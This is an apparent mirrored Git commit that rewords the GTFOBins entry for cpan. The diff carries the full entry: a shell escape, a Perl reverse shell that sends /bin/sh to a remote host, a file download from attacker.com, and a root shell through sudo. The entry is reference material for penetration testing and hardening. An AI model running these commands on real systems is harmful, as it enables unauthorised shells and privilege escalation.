mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Minor fixes on cpan
This commit is contained in:
parent
a448ed5c25
commit
23dae5406e
@ -1,35 +1,30 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- description: cpan lets you execute perl commands with `! command`
|
- description: `cpan` lets you execute perl commands with the `! command`.
|
||||||
code: |
|
code: |
|
||||||
cpan
|
cpan
|
||||||
! exec '/bin/bash'
|
! exec '/bin/bash'
|
||||||
|
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run ``nc -lvp RPORT`` on the attacker box to receive the shell.
|
- description: Run `nc -lvp RPORT` on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
export RHOST=localhost
|
export RHOST=localhost
|
||||||
export RPORT=9000
|
export RPORT=9000
|
||||||
cpan
|
cpan
|
||||||
! use Socket; my $i="$ENV{RHOST}"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
|
! use Socket; my $i="$ENV{RHOST}"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
|
||||||
|
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Serve files in the local folder running an HTTP server on port 8080. Install dependency via `cpan HTTP::Server::Simple`.
|
- description: Serve files in the local folder running an HTTP server on port 8080. Install the dependency via `cpan HTTP::Server::Simple`.
|
||||||
code: |
|
code: |
|
||||||
cpan
|
cpan
|
||||||
! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
|
! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
|
||||||
|
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch a remote file via HTTP GET request and store it in PWD.
|
- description: Fetch a remote file via an HTTP GET request and store it in `PWD`.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://attacker.com/file_to_get
|
export URL=http://attacker.com/file_to_get
|
||||||
cpan
|
cpan
|
||||||
! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();
|
! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();
|
||||||
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo cpan
|
sudo cpan
|
||||||
! exec '/bin/bash'
|
! exec '/bin/bash'
|
||||||
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user